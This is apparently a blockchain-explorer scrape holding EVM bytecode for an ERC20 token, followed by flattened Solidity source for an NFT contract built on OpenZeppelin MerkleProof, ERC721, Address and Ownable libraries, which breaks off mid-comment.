ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600381526020017f424254000000000000000000000000000000000000000000000000000000000081525081565b600060ff835111151515610f2757600080fd5b81518351141515610f3757600080fd5b600090505b82518160ff161015610f9557610f8784848360ff16815181101515610f5d57fe5b90602001906020020151848460ff16815181101515610f7857fe5b90602001906020020151610882565b508080600101915050610f3c565b50505050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610fd857600080fd5b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561102657600080fd5b61107882600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461158490919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061110d82600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461159d90919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600060ff8351111515156111d257600080fd5b815183511415156111e257600080fd5b600090505b82518160ff16101561123f57611231838260ff1681518110151561120757fe5b90602001906020020151838360ff1681518110151561122257fe5b90602001906020020151610f9b565b5080806001019150506111e7565b505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156112a157600080fd5b8273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561136557600080fd5b505af1158015611379573d6000803e3d6000fd5b505050506040513d602081101561138f57600080fd5b8101908080519060200190929190505050905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561148a57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156114c657600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600082821115151561159257fe5b818303905092915050565b60008082840190508381101515156115b157fe5b80915050929150505600a165627a7a723058204b454cdf6f51574c6c93caea12f2138f718baa5885f2d25a0dcc90151d5a84c10029
[ 2 ]
0xf1d88a386354ae740370a45BDFC0A61F6D9871B0
// SPDX-License-Identifier: GPL-3.0 /** ██████ ██████ ██████ ███████ ██████ ██████ ██████ ███ ██ ███████ ███████ ██████ ██ ██ ██ ██████ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ████ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██████ ██ ██ ██████ █████ ██ ██ ██████ ██ ██ ██ ██ ██ █████ ███████ ██ ██ ██ ██ ██████ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██████ ██████ ██ ██ ███████ ██████ ██████ ██████ ██ ████ ███████ ███████ ██████ ███████ ██████ ██████ */ // Contract by @Predep7 // OpenZeppelin Contracts v4.4.1 (utils/cryptography/MerkleProof.sol) pragma solidity ^0.8.0; /** * @dev These functions deal with verification of Merkle Trees proofs. * * The proofs can be generated using the JavaScript library * https://github.com/miguelmota/merkletreejs[merkletreejs]. * Note: the hashing algorithm should be keccak256 and pair sorting should be enabled. * * See `test/utils/cryptography/MerkleProof.test.js` for some examples. */ library MerkleProof { /** * @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree * defined by `root`. For this, a `proof` must be provided, containing * sibling hashes on the branch from the leaf to the root of the tree. Each * pair of leaves and each pair of pre-images are assumed to be sorted. */ function verify( bytes32[] memory proof, bytes32 root, bytes32 leaf ) internal pure returns (bool) { return processProof(proof, leaf) == root; } /** * @dev Returns the rebuilt hash obtained by traversing a Merklee tree up * from `leaf` using `proof`. A `proof` is valid if and only if the rebuilt * hash matches the root of the tree. When processing the proof, the pairs * of leafs & pre-images are assumed to be sorted. * * _Available since v4.4._ */ function processProof(bytes32[] memory proof, bytes32 leaf) internal pure returns (bytes32) { bytes32 computedHash = leaf; for (uint256 i = 0; i < proof.length; i++) { bytes32 proofElement = proof[i]; if (computedHash <= proofElement) { // Hash(current computed hash + current element of the proof) computedHash = _efficientHash(computedHash, proofElement); } else { // Hash(current element of the proof + current computed hash) computedHash = _efficientHash(proofElement, computedHash); } } return computedHash; } function _efficientHash(bytes32 a, bytes32 b) private pure returns (bytes32 value) { assembly { mstore(0x00, a) mstore(0x20, b) value := keccak256(0x00, 0x40) } } } // File: @openzeppelin/contracts/utils/introspection/IERC165.sol pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: @openzeppelin/contracts/token/ERC721/IERC721.sol pragma solidity ^0.8.0; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // File: @openzeppelin/contracts/utils/introspection/ERC165.sol pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File: @openzeppelin/contracts/utils/Strings.sol pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File: @openzeppelin/contracts/utils/Address.sol pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // File: @openzeppelin/contracts/utils/Context.sol pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } /** * @title nonReentrant module to prevent recursive calling of functions * @dev See https://medium.com/coinmonks/protect-your-solidity-smart-contracts-from-reentrancy-attacks-9972c3af7c21 */ abstract contract nonReentrant { bool private _reentryKey = false; modifier reentryLock { require(!_reentryKey, "cannot reenter a locked function"); _reentryKey = true; _; _reentryKey = false; } } // File: @openzeppelin/contracts/token/ERC721/ERC721.sol pragma solidity ^0.8.0; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // owner address list (replaces default mappings) address[] internal _owners; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); uint256 _ownerBalance = 0; for(uint i = 0; i < _owners.length; i++) { if(_owners[i] == owner) _ownerBalance ++; } return _ownerBalance; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return tokenId < _owners.length && _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _owners.push(to); emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _owners[tokenId] = address(0); emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } /** * borrowed from Nuclear Nerds implementation * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account but rips out the core of the gas-wasting processing that comes from OpenZeppelin. */ abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _owners.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < _owners.length, "ERC721Enumerable: global index out of bounds"); return index; } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256 tokenId) { require(index < balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); uint count; for(uint i; i < _owners.length; i++){ if(owner == _owners[i]){ if(count == index) return i; else count++; } } revert("ERC721Enumerable: owner index out of bounds"); } } // File: @openzeppelin/contracts/access/Ownable.sol pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the 